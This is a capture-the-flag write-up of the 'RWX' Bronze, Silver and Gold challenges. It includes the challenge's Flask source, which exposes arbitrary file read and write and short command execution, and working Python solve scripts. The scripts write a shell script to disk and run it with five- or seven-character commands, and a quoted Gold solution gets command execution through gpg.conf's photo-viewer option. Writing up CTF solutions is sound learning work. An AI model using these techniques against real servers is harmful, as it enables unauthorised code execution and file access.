Table of Contents
RWX - Bronze
Description:
We give you file read, file write and code execution. But can you get the flag? Let's start out gently.
We give you file read, file write and code execution. But can you get the flag? Apparently that was too much!
Source code & win conditition
Starting of with the bronze challenge, we have:
Dockerfile:
FROM ubuntu:latest
RUN apt-get update && \
apt-get install -y python3 python3-pip gcc
RUN pip3 install flask==3.1.0 --break-system-packages
WORKDIR /
COPY flag.txt /
RUN chmod 400 /flag.txt
COPY would.c /
RUN gcc -o would would.c && \
chmod 6111 would && \
rm would.c
WORKDIR /app
COPY app.py .
RUN useradd -m user
USER user
CMD ["python3", "app.py"]
As seen above chmod 400 /flag.txt
effectively means that only root can read it. However, there is another file, namely a binary would
.
Source code for would.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char full_cmd[256] = {0};
for (int i = 1; i < argc; i++) {
strncat(full_cmd, argv[i], sizeof(full_cmd) - strlen(full_cmd) - 1);
if (i < argc - 1) strncat(full_cmd, " ", sizeof(full_cmd) - strlen(full_cmd) - 1);
}
if (strstr(full_cmd, "you be so kind to provide me with a flag")) {
FILE *flag = fopen("/flag.txt", "r");
if (flag) {
char buffer[1024];
while (fgets(buffer, sizeof(buffer), flag)) {
printf("%s", buffer);
}
fclose(flag);
return 0;
}
}
printf("Invalid usage: %s\n", full_cmd);
return 1;
}
Okay, so if we can execute /would
with the arg you be so kind to provide me with a flag
, we can read the flag. This is the goal.
So how do we do that?
For the challenge we will be interacting with app.py
:
from flask import Flask, request, send_file
import subprocess
app = Flask(__name__)
@app.route('/read')
def read():
filename = request.args.get('filename', '')
try:
return send_file(filename)
except Exception as e:
return str(e), 400
@app.route('/write', methods=['POST'])
def write():
filename = request.args.get('filename', '')
content = request.get_data()
try:
with open(filename, 'wb') as f:
f.write(content)
return 'OK'
except Exception as e:
return str(e), 400
@app.route('/exec')
def execute():
cmd = request.args.get('cmd', '')
if len(cmd) > 7:
return 'Command too long', 400
try:
output = subprocess.check_output(cmd, shell=True)
return output
except Exception as e:
return str(e), 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=6664)
Recapping:
we can read any file that user
has permissions to read. We can write any file to directories where user
has permissions to write. We can also execute commands with no more than $7$ characters.
Since /would you be so kind to provide me with a flag
is much more than $7$ characters, that is not a viable option. But we can write a file containing that command.
p = """
#!/bin/sh
/would you be so kind to provide me with a flag
"""
So where do we write this file, such that we can execute with $7$ or less characters.
We can write it to /tmp/
as a
. Then we can execute sh /*/a
utilizing the wildcard to find the binary a
in the path /home/a
, /opt/a
... and finally its is found in /tmp/a
.
I came up with this script.
import requests
import urllib.parse
url = "https://a9<....>08.inst2.chal-kalmarc.tf/"
def exec(param):
if 7 < len(param):
print("payload is too long:")
print(param)
print(f"len: {len(param)}")
# encode
encoded_param = urllib.parse.quote(param)
uri = f"{url}/exec?cmd={encoded_param}"
print(f"{uri=}")
res = requests.get(uri)
print("Status Code:", res.status_code)
print("Response Body:", res.text)
print()
return res
def write_file(filename, content):
params = {"filename": filename}
res = requests.post(f"{url}/write", params=params, data=content.encode())
print("Status Code:", res.status_code)
print("Response Body:", res.text)
p = """
#!/bin/sh
/would you be so kind to provide me with a flag
"""
write_file("/tmp/a",p)
res = exec("sh /*/a")
RWX - Silver
The challenge is mostly the same, but this time around the /exec
endpoint only allows $5$ or less characters.
That means that: "sh /*/a"
has to be shortned by at least $2$ characters.
- We can shorten to the path
/*/a
to~/a
saving us $1$ character.
But how can we shorten sh
?
After a some digging i found that I can use . file
i.e.:
$ help .
.: . filename [arguments]
Execute commands from a file in the current shell.
Read and execute commands from FILENAME in the current shell. The
entries in $PATH are used to find the directory containing FILENAME.
If any ARGUMENTS are supplied, they become the positional parameters
when FILENAME is executed.
Exit Status:
Returns the status of the last command executed in FILENAME; fails if
FILENAME cannot be read.
Thus we can run shorten sh /*/a
($7$ chars) to . ~/a
($5$ chars)
Updating the script:
import requests
import urllib.parse
url = "https://919<...>496.inst2.chal-kalmarc.tf/"
def exec(param):
print(f"Executing {param}")
if 5 < len(param):
print("Too long:")
print(param)
print(f"len: {len(param)}")
encoded_param = urllib.parse.quote(param)
uri = f"{url}exec?cmd={encoded_param}"
res = requests.get(uri)
print("Status Code:", res.status_code)
print(f"Response Body:\n{res.text}\n--- res end ---")
print()
return res
def write_file(filename, content):
print(f"Writing file; path=\"{filename}\"")
params = {"filename": filename}
res = requests.post(f"{url}/write", params=params, data=content.encode())
print("Status Code:", res.status_code)
print("Response Body:\n\n--- res end ---", res.text)
p = """
#!/bin/sh
/would you be so kind to provide me with a flag
"""
write_file("/home/user/a",p)
# exec("sh ~/*") # too long
exec(". ~/a")
Gold...
I was close to solving this.
I tried all binaries of with size $3$ or less. I tried pip
and others but found no vector. Lastly I went with gpg
, but I could find a way for it to execute my file or any other method of executing the would
binary
After the fact I found this japanese writeup:
nanimokangaeteinai.hateblo.jp - RWX Gold
import httpx
with httpx.Client(base_url='https://(省略)') as client:
client.get('/exec?cmd=gpg')
# client.post('/write?filename=/home/user/.gnupg/trustdb.gpg', data=open('trustdb.gpg','rb').read()) # 改めて検証したところ必要なかったので削除@2025-03-11
client.post('/write?filename=/home/user/.gnupg/pubring.kbx', data=open('pubring.kbx','rb').read())
client.post('/write?filename=/home/user/.gnupg/gpg.conf', data='''
list-keys
list-options show-photos
photo-viewer "/would 'you be so kind to provide me with a flag' > /tmp/nekochan"
'''.strip())
client.get('/exec?cmd=gpg')
r = client.get('/read?filename=/tmp/nekochan')
print(r.text)